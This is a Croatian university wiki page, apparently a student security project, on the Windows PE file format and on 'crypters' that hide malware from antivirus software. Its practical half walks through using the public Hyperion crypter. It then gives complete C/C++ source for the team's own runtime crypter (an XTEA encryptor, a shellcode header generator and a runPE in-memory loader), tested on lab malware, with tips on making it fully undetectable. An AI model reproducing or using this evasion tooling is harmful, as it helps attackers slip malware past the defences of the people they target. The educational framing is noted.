Kriptiranje PE-ova

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Članovi tima: Ivor Šebalj, Tomislav Šulc, Josip Žemberi
Izvorni kod kreiranog kriptera: enkripcija_datoteke_xtea.cpp, shellcode_generator.c, generator_finalne_datoteke.cpp, runPE.h --Jozemberi 09:29, 20. siječnja 2013. (CET)


Sadržaj

Portable Executable tip datoteka


Prije mnogo, mnogo godina u galaksiji daleko, daleko svijetom su vladale „dvaosamšestice“ s Windows 3.1. operativnim sustavom. Win 3.1. se drugim imenom zvao Ianus, po rimskom bogu početaka i promjena. Do sada nije poznata informacija jel sam Ianus od Microsoftovih developera zahtjevao promjene, no one su se svakako dogodile...

Povijest i razvoj PE datoteka

1993. godine Windows 3.1. NT (new technology) je napisan, iskodiran ispočetka, ne temeljen na nikakvim zakrpama svojih prethodnika. David Neil Cutler, programer i dizajner, te jedan od glavnih krivaca za tadašnju Windows revoluciju je postavio 3 glavna cilja za nove Windowse:

  1. Portabilnost
  2. Pouzdanost
  3. Osobnost

Značajka portabilnosti je najvažnija za shvatiti. Za razliku od prošlih verzija operativnih sustava koji su bili vezani za samo jednu arhitekturu računala, Windows NT je radio na više arhitektura. Zbog radoznalosti informatičara koji čitaju naš wiki spomenuo sam i preostala dva Cutlerova cilja.

Windows NT upoznao je svijet s novim Portable Executable tipom datoteka, zamjenivši stari COFF (Common Object File Format). PE je mogao biti pokretan na svim verzijama Windowsa i DOS-a. Kako bi čitatelji ovog wikia jasnije shvatili što smatramo Portable Executable tipom datoteke navest ću najpoznatije ekstenzije koje ona sadrži:

Najpoznatije ekstenzije PE datoteka

.cpl, .exe, .dll, .ocx, .sys, .scr, .drv

.exe

Svi vjerojatno znate za .exe (Executable file) naš svakidašnji uz pomoć kojeg otvarate Far Cry 3, Borderlands 2 ili Call of Duty Modern Warfare 3.

Isprika čitateljima, prekrižit ćemo ovu zadnju newb igru da ne uvrijedimo prave gamere koji čitaju ovaj wiki. Važno je također napomenuti kako .exe može biti i opasan. Nikada nemojte skidati .exe datoteku s interneta ukoliko nevjerujete izvoru s kojeg dolazi, jer to je najlakši način za zaraziti računalo s virusom.

.dll

Osim .exe tipa datoteke, vjerojatno ste se već upoznali i sa .dll (Dynamic-Link Lybrary). Vrlo vjerojatno kada vam je izbacivao nepoznate errore kako vam fali xxxx.dll datoteka.

Dll error.jpg

Razloga tome ima više, no jedan od najčešćih je da ste izbrisali datoteku koju vaš program ili operativni sustav treba ili se dogodila pogreška prilikom nasnimavanja programa na vaše računalo. Zbog čega bi operativni sustavi ili neki program trebao tu .dll datoteku? DLL datoteku je moguće zamisliti, baš kao što nam njeno ime predlaže, kao knjižnicu. U toj knjižnici pohranjene su razne knjige, koje u našem slučaju predstavljaju funkcije i podatke. Ukoliko neki program želi znati kako prikazati određenu formu, ili izvršiti nekakvu akciju otiči će do knjižnice i pročitati knjigu u kojoj to piše. DLL datoteka je veoma važna i na nju se oslanjaju jako mnogo aplikacija, a srećom podržava i multitasking pa može svoje resurse djeliti na više različitih mjesta odjednom.

Prednosti PE datoteka

Jedna od glavnih prednosti PE tipa datoteke u odnosu na prethodni COFF je u tome što je kod nje struktura datoteke na disku jednaka onoj u memoriji. Učitavanje izvršne datoteke u memoriju je samo stvar mapiranja PE datoteke na mjesto gdje je pohranjena adresa. Ključna stvar je u tome što ukoliko ti je poznato kako pronaći nešto u PE podatku, gotovo sigurno tu isto informaciju možeš pronaći kada je podatak učitan u memoriji.

"Dobro poznavanje strukture Portable Executable datoteka vodi do dobro razumijevanje operativnog sustava. Ukoliko znaš što ti je u tvojim DLL i EXE datotekama biti ćeš mnogo pametniji programer." - Matt Pietrek, MSDN Magazine, Veljaća 2002. god

Struktura PE tipa podataka

PE tip datoteke organiziran je kao linearni tok podataka. A za one koje žele znati kako je strukturiran može pogledati sliku ispod:

5Wl4CTz.png
  • MZ-Stub - "Stub" je MS-DOS program koji će ispisati poruku o nemogućnosti izvršavanja programa u DOS operacijskom sustavu ukoliko je program rađen za "višlje" operacijske sustave. Sadrži pokazivač na PE zaglavlje
  • Magična PE vrijednost - počinje s "P, E, 0x0, 0x0" kako bi se označio kao PE dokument
  • Slikovno zaglavlje - ima fiksno određenu veličinu i sadrži informacije o podržavanom računalnom procesorskom sklopu
  • Opcionalno zaglavlje - nije uopće opcionalno i sadrži informacije o veličini izvršnog koda, veličini podataka, polja u koja su zapisana baza slike i veličina slike koja se koriste kod procesa kriptiranja. Isto tako, nalaze se relokacijska, izlazna i ulazna tablica. Pokazivač na ulaznu tablicu pokazuje na listu APIja koji služe u komunikaciji s operacijskim sustavom.
  • Sekcije - svaka ima svoje vlastito zaglavlje koja sadrže ime, neke zastavice (za pisanje, čitanje), adresu sekcije te veličinu iste.

--Ivor 22:40, 20. siječnja 2013. (CET)

Praktični dio

Praktični dio ovog rada se sastoji od dva dijela. Prvi u kojem su opisani neki alati za kriptiranje dostupni javno na Internetu te drugog dijela u kojem je implementiran vlastiti runtime kripter. Opisi slijede u nastavku, no prije svega istaknuli smo pojmovnik koji bi vam mogao biti od pomoći u savladavanju slijedećeg teksta.

Pojmovnik

  • Crypter - računalni program uz pomoć kojeg korisnik može promijeniti strukturu bilo kojeg virusa, keyloggera, RAT-a (Remote Access Trojan) kako bi taj maliciozni program ostao neprepoznat od antivirusnih programa. Tj. Postao FUD. (pogledaj idući pojam)
  • FUD - Fully Undetectable, stanje u koje smo doveli maliciozni, a u kojem ga antivirusni program ne prepoznaje kao prijetnju računalu.
  • Dijelovi Cryptera:
  1. Klijent - sučelje u kojem korisnik može kriptirati svoj programski kod.
  2. Stub - izvršna datoteka (.exe) ili ponekad .dll (objašnjeno dalje u tekstu, ne brini :] ) koji se koriste kao filter za podatke koji su učitani u klijent dio kriptera.
  • Vrste Cryptera:
  1. Vanjski stub - Kripter čija funkcionalnost ovisi o Stub dijelu kriptera.
  2. Unutarnji stub - Kripter kojem stub nije odvojen od klijenta kao u Vanjskom stub kripteru.
  3. Runtime - Kripter koji se najčešće koristi za kriptiranje servere, ostaje FUD čak i nakon pokretanja u memoriji računala.
  4. Scantime - Sličan Runtime kripteru, no prilikom pokretanja u memoriji računala anti-virusni programi ga mogu otkriti.
  • Koliko dugo jedan Crypter ostaje FUD - na to pitanje nitko ne može dati točan odgovor, no mišljenja undercover hakera i našeg stručnog SIS tima govore o vremenskom periodu od jednog do tri tjedna. Naravno taj podatak ovisan je o kvaliteti kriptera koji koristite, vašem trudu, vještinama i iskustvu.
  • Shellcode - mali dio programskog koda koji je korišten kao sadržaj "exploita" koji narušava sigurnost ili stabilnost nekog sustava ili programa određenog operacijskog sustava.

--Ivor 22:40, 20. siječnja 2013. (CET)

Kripteri dostupni na Internetu

U moru kriptera, odabrali smo onaj javno dostupan od strane Nullsec-a [5]. Nazvan Hyperion (po jednom od titana iz Grčke mitologije), na njihovoj stranici se nalazi u source formi, tako da je potrebno prijašnje kompajliranje od strane c/c++ kompajlera. Kako se crypter može izvršavati samo na 32-bitnim operacijskim sustavima, prvo sam na Linux distribuciji (Fedora) instalirao MinGW skup alata koji omogućavaju kompajliranje koda (C,C++, ObjC++, Fortran) s bilo kojeg operativnog sustava kako bi bio prikladan za izvršavanje u Windows okolini. Iz pripadajuće tablice , uzimamo treći poziv C++ kompajlera za win32 okolinu.

Tablica naredbi MinGWcrypter.png

Ulaskom u raspakiranu datoteku Hyperion source projekta, vidimo prikazane datoteke. Nama u "Source/Crypter" trebaju potrebne datoteke kako bi od njih napravili crypter. Pozivom već navedene funkcije stvaramo crypter.exe izvršnu datoteku s kojom ćemo kriptirati maliciozni kod (Korišten na labosima).

Fedora hyperion kreiranje cryptera.png

Izvršnu datoteku pokrećemo u win32 okolini (VirtualBox s mountanim WinXP 32bit OS-om). Pokrećemo crypter s parametrima ulazne i izlazne datoteke te dobivamo izvršnu datoteku koja će biti prikrivena. Na taj način dobivamo onu komponentu prikrivenosti datoteke koja skriva neki potencijalni maliciozni kod, a kojeg neće otkriti AV programi i zaštite.

Win32 Hyperion crypter.png

Maliciozni kod prije kriptiranja skeniran od strane Northonovog Virus Scanner-a:

Maliciozni kod prijeAV.png

Maliciozni kod poslije kriptiranja:

Maliciozni kod poslijeAV.png

Čitatelja se potiče na daljnje isprobavanje PE kriptera osim navedenog od Nullsec-a. Neki od trenutno javno dostupnih: Al3ksCrypter, Yoda's Crypter, 0Crypterv 2.1, XCrypter 2.0.--Tomislav.sulc 22:25, 20. siječnja 2013. (CET)

Mora vam biti i jasno da su navedeni PE kripteri javno dostupni te se od njih ne može očekivati potpuni FUD. Zbog toga vas potičemo na kreiranje vlastitog runtime kriptera.


Kreiranje vlastitog runtime kriptera

U okviru praktičnog dijela projekta implementirao sam jednostavni runtime kripter u programskom jeziku c/c++. Kripter nije jedna izvršna datoteka već se sastoji od 3 djela/koraka (programa). Prvi služi za enkripciju datoteke koju se želi sakriti od antivirusnog softvera. Drugi služi za generiranje zaglavlja shellcode.h na temelju datoteke koja se dobila u prethodnom koraku (shellcode.h sadrži bajtove kriptirane datoteke zapisane u polje tipa unsigned char u hex formatu). Treći korak je uključivanje shellcode.h zaglavlja u kodu koji će nakon kompajliranja kreirati .EXE datoteku. Radi se o konačnoj datoteci koja će nakon pokretanja dekriptirati kriptiranu datoteku koju smo u drugom koraku spremili u shellcode.h te je izvršiti u radnoj memoriji. --Jozemberi 13:53, 19. siječnja 2013. (CET)

Korak 1: Enkripcija datoteke

Enkripcija datoteke koju želimo sakriti od antivirusnog softvera provodi se na način da se pri pokretanju programa za enkripciju u komandnu liniju nakon naziva programa za enkripciju doda naziv (putanja) datoteke koja se želi kriptirati (brži način je napraviti drag & drop datoteke koja se želi kriptirati na .EXE file programa za enkripciju). Program za enkripciju koristi jednostavan XTEA (od eng. Extended Tiny Encryption Algorithm). XTEA je simetrični kriptosustav, poboljšana verzija kriptosustava TEA (od eng. Tiny Encryption Algorithm). Njegove glavne odlike su brzina, jednostavnost i sićušnost. Iako nije najsigurniji kriptosustav, njegove prethodno navedene odlike i činjenica da ga na računalu već imam implementiranog od prije presudili su da za enkripciju koristim baš taj kriptosustav. Sam ključ koji se koristi za enkripciju (i dekripciju) hardkodirani su na odgovarajućim mjestima u programima. --Jozemberi 13:53, 19. siječnja 2013. (CET)

enkripcija_datoteke_xtea.cpp

   /* Ovaj program modifikacija je programa koji sam napravio u kolovozu 2012. 
    * u okviru završnog rada na temu kriptovirologija.
    * Svrha programa bila je demonstracija rada XTEA algoritma.
    * Sam algoritam za sifriranje i desifriranje (funkcije encipher i decipher)
    * bile si preuzete sa: http://en.wikipedia.org/wiki/XTEA
    *
    * Datoteka se kriptira na način da se prilikom pokretanja programa iz komandne
    * linije kao argument navede naziv/putanja datoteke koju se želi kriptirati.
    * (Datoteka se može kriptirati i na način da se drag & drop-a na .EXE file
    * ovog programa)
    *
    * Autor: Josip Žemberi 
    * Fakultet Organizacije i Informatike, siječanj 2013.
    */
   #include <iostream>
   #include <fstream>
   #include <stdint.h>
   
   using namespace std;
   
   unsigned int kljuc[4]={0xACB5,0x1344,0xEC90,0x285C};              
   char red[1000];
   char txt[10000];
   
   #define BLOCK_SIZE 8
   
   void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const kljuc[4]){
       unsigned int i;
       uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
       for (i=0; i < num_rounds; i++){
           v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + kljuc[sum & 3]);
           sum += delta;
           v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + kljuc[(sum>>11) & 3]);
       }
       v[0]=v0; v[1]=v1;
   }
   
   void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const kljuc[4]){
        unsigned int i;
        uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
        for (i=0; i < num_rounds; i++){
           v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + kljuc[(sum>>11) & 3]);
           sum -= delta;
           v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + kljuc[sum & 3]);
        }
        v[0]=v0; v[1]=v1;
   }
   
   void crypto(char nazivDat[] ,bool naredba){
         fstream dat(nazivDat,ios::in | ios::out | ios::binary);
         if(!dat) cout << "Datoteku nije bilo moguce otvoriti" << endl;
   
         unsigned size;
       
         dat.seekg(0,ios::end);
         size=dat.tellg();
         dat.seekg(ios::beg);
       
         dat.clear();
       
         unsigned pos;
       
         int n_blocks=size/BLOCK_SIZE;
         if(size%BLOCK_SIZE!=0)
             ++n_blocks;
       
         for(int i=0;i<n_blocks;i++){
             unsigned char data[BLOCK_SIZE];
             pos=dat.tellg();
         
             dat.read((char*)data,BLOCK_SIZE);
         
             if(naredba) encipher(32,(uint32_t*)data,kljuc);
             else decipher(32,(uint32_t*)data,kljuc);
           
             dat.seekp(pos);
             dat.write((char*)data,BLOCK_SIZE);
   
             memset(data,0,BLOCK_SIZE);
         }
         dat.close();
   }
   
   int main(int argc, char *argv[]){
       if (argc < 2) {
           fprintf(stderr, "Koristenje: %s naziv_datoteke_za_enkripciju\n", argv[0]);
           return 1;
       }
       crypto(argv[1], true);
       cout << "Datoteka " << argv[1] << " je kriptirana!!" << endl;
      system("pause");               
      return 0;
   }

--Jozemberi 13:53, 19. siječnja 2013. (CET)

Korak 2: Generiranje zaglavlja shellcode.h

Izvorni autor c koda na temelju kojeg sam riješio način generiranja shellcode-a je Mark Russanovich. (Tako je barem navedeno u README datoteci koja se nalazila uz sam kod). Preuzeti kod sam malo modificirao no logika i funkcionalnost su ostale iste. Zaglavlje shellcode.h generira se na temelju datoteke čija je putanja argument komandne linije. U datoteku shellcode.h sprema se proslijeđena datoteka na način da se bajtovi te datoteke u hex obliku dodaju polju shellcode koje je tipa unsigned char te se zatim još zapiše u varijablu tipa unsigned int veličina polja (broj elemenata). --Jozemberi 13:53, 19. siječnja 2013. (CET)

shellcode_generator.c

   /* Izvorni autor ovoga koda je Mark Russanovich. (Tako je navedeno u README 
    * datoteci koja se nalazila uz sam kod).
    * Preuzeti kod je malo modificiran, no logika i funkcionalnost su ostale iste.
    *
    * Zaglavlje shellcode.h se generira na temelju datoteke čija je putanja
    * argument komandne linije. U datoteku shellcode.h sprema se proslijeđena 
    * datoteka na način da se bajtovi te datoteke u hex obliku dodaju polju 
    * shellcode koje je tipa unsigned char.
    */
   #include <stdio.h>
   #include <stdlib.h>
   
   int main(int argc, char *argv[]){
   
       FILE *f; 
       int i, c;
       char *arr_name;
   	
       if (argc < 2) {
           fprintf(stderr, "Koristenje: %s naziv_kriptirane_datoteke\n", argv[0]);
           return 1;
       }
   	
       f = fopen(argv[1], "rb");
       if (f == NULL) {
           fprintf(stderr, "%s: fopen(%s) nije uspio", argv[0], argv[1]);
           return 1;
       }
   
   	
   	freopen ("shellcode.h","w",stdout);
       
       arr_name = "shellcode";
       
       printf("unsigned char %s[] = {", arr_name);
   
       for (i=0;;i++) {
           if ((c = fgetc(f)) == EOF) break;
           if (i != 0) printf(",");
           if ((i % 12) == 0) printf("\n\t");
           printf("0x%.2X", (unsigned char)c);
       }
   
       printf("\n\t};\n");	
       
   	printf("unsigned int size = %i;\n", i);
       
       fclose(f);
   	fclose(stdout);
   	
       return 0;
   }

--Jozemberi 13:53, 19. siječnja 2013. (CET)

Korak 3: Generiranje konačne datoteke (spajanje)

U trećem se koraku zaglavlje shellcode.h koje se dobilo u prethodnom koraku smješta u mapu gdje se nalazi kod programa za treći i zadnji korak a to je spajanje. Nakon premještanja shellcode.h datoteke potrebno je kompajlirati odgovarajući kod (dat.cpp) što će rezultirati željenom datotekom. U trećem koraku se osim već spomenutog zaglavlja shellcode.h koristi zaglavlje runPE.h koje sadrži metodu za pokretanje programa u radnoj memoriji. Autor zaglavlja runPE.h nije poznat, a zaglavlje se može pronaći na hackforums.net i drugim sličnim forumima/web mjestima. Izvorni kod datoteka runPE.h, generatora shellcode-a te jednostavni primjer koda koji poziva runPE.h metodu run preuzeti su sa: http://www.mediafire.com/?qrjxfcqcdvmqo38 --Jozemberi 13:53, 19. siječnja 2013. (CET)

dat.cpp

    /* Kompajliranjem ovoga programa sa uključenom datotekom shellcode.h u kojoj 
    * se nalazi kriptirana datoteka stvara se datoteka dat.EXE koja nakon 
    * pokretanja dekriptira datoteku (koja je bila spremljenu u shellcode.h)
    * te je pokrenuti u memoriji (dekriptirana datoteka neće se naći na hard 
    * disku te će je detektirati jedino antivirusni softver koji skenira radnu 
    * memoriju (opcija AV softvera koja je radno intenzivna za računalo te se 
    * zbog toga ne koristi na običnim računalima klijenata).
    *
    * runPE.h je zaglavlje koje sadrži metodu za pokretanje programa u memoriji
    * 
    * Autor zaglavlja runPE.h nije poznat, zaglavlje se može pronaći na 
    * hackforums.net i drugim sličnim forumima/web mjestima.
    * 
    * Izvorni kod datoteka runPE.h, generatora shellcode-a te jednostavni
    * primjer koda koji poziva runPE.h metodu run preuzeti su sa:
    * http://www.mediafire.com/?qrjxfcqcdvmqo38
    */
   
   #include <Windows.h>
   #include "runPE.h"
   #include "shellcode.h"
   #include <stdint.h>
   
   unsigned int kljuc[4]={0xACB5,0x1344,0xEC90,0x285C};
   
   #define BLOCK_SIZE 8
   
   void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const kljuc[4]){
        unsigned int i;
        uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
        for (i=0; i < num_rounds; i++){
           v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + kljuc[(sum>>11) & 3]);
           sum -= delta;
           v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + kljuc[sum & 3]);
        }
        v[0]=v0; v[1]=v1;
   }
   
   int main(){  
       unsigned char shellcode_decrypted[size];
       
       int n_blocks=size/BLOCK_SIZE;
       if(size%BLOCK_SIZE!=0)
           ++n_blocks;
         
       unsigned char data[BLOCK_SIZE];
       
       for(int i=0;i<n_blocks;i++){
           memcpy ( &data, &shellcode[i*BLOCK_SIZE], BLOCK_SIZE );
           decipher(32,(uint32_t*)data,kljuc);
           
           for(int j=0;j<BLOCK_SIZE;j++)
               memcpy ( &shellcode_decrypted[(i*BLOCK_SIZE)+j],&data[j], sizeof(unsigned char));
             
           memset(data,0,BLOCK_SIZE);
         }
         
   	runPE rp;
       
   	TCHAR szFilePath[1024];
   	GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
   	
   	rp.run(LPSTR(szFilePath), shellcode_decrypted);
   	return 0;
   }

--Jozemberi 13:53, 19. siječnja 2013. (CET)

Testiranje kriptera

Ovaj jednostavni kripter testirao sam na način da sam s njime kriptirao maliciozni program (malware.exe) koji smo koristili na labosu 1: Detekcija i uklanjanje malicioznog koda. Dobiveni program sam zatim skenirao online antivirusnim skenerom http://vscan.novirusthanks.org/. U nastavku se mogu vidjeti rezultati antivirusnog skenera za datoteku malware.exe za slučaju kada nije korišten kripter i slučaj kada je korišten. --Jozemberi 13:53, 19. siječnja 2013. (CET)

Rezultati AV online skenera za malware.exe koji nije kriptiran kreiranim kripterom

Link na detaljne rezultate: http://vscan.novirusthanks.org/analysis/1b3206011cf9800d740cd755c571961a/bWFsd2FyZS1leGU=/

Scan dat bez kriptera.png

--Jozemberi 13:53, 19. siječnja 2013. (CET)

Rezultati AV online skenera za malware.exe koji je kriptiran kreiranim kripterom

Link na detaljne rezultate: http://vscan.novirusthanks.org/analysis/afd075286cad1cf1f6a8c34204ebc6a3/ZGF0LWV4ZQ==/

Scan dat sa kripterom.png

--Jozemberi 13:53, 19. siječnja 2013. (CET)

Komentar rezultata testiranja - zaključak

Kao što se iz rezultata testiranja može vidjeti kreirani kripter nije (100%) FUD. No, broj antivirusnih programa koji detektiraju maliciozni program kada je kriptiran kreiranim kripterom je značajno manji. Kriptiranjem različitih bezopasnih datoteka te skeniranjem istih utvrdio sam da je problem u zaglavlju runPE.h koje je duže vrijeme dostupno na internetu. Kako se radi o djelu koda koji nisam ni malo modificirao, mislim da bi se detaljnijim proučavanjem klase runPE koja se unutar tog zaglavlja nalazi te zatim, po uzoru na nju, kreiranjem vlastite mogao još smanjiti broj detekcija te uz detaljniju analizu i ekperimentiranje postići da kripter bude (100%) FUD.

No, kako sam ovaj kripter kreirao iz isključivo edukacijskih razloga, kreiranje (100%) FUD kriptera mi nije bio primarni cilj. Primarni cilj mi je bio kreiranje jednostavnog kriptera čiji će kod i način rada razumjeti svatko sa minimalnim znanjem iz područja programiranja u c/c++ i kriptografije. Mislim da sam taj cilj ostvario te da je izvorni kod kreiranog kriptera vrlo dobar pokazatelj načina na koji kripteri rade.

--Jozemberi 13:53, 19. siječnja 2013. (CET)


Izvori literature

Tekstovi

  1. The Portable Executable File Format from Top to Bottom - http://www.csn.ul.ie/~caolan/publink/winresdump/winresdump/doc/pefile2.html
  2. Peering Inside the PE: A Tour of the Win32 Portable Executable File Format - http://msdn.microsoft.com/en-us/magazine/ms809762.aspx
  3. An In-Depth Look into the Win32 Portable Executable File Format - http://msdn.microsoft.com/en-us/magazine/cc301805.aspx
  4. Starter source kod korišten za implementaciju kriptera - http://www.mediafire.com/?qrjxfcqcdvmqo38
  5. Hyperion runtime Crypter - http://www.nullsecurity.net/tools/binary.html

Slike

  1. https://www.ibm.com/developerworks/collaboration/uploads/gbowerman/dll_error.jpg
  2. http://nullsecurity.net/papers/nullsec-pe-crypter.pdf, str. 3
  3. https://fedoraproject.org/wiki/MinGW/Tutorial, Veljaća 2002. god.


--Jozemberi 13:53, 19. siječnja 2013. (CET)

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima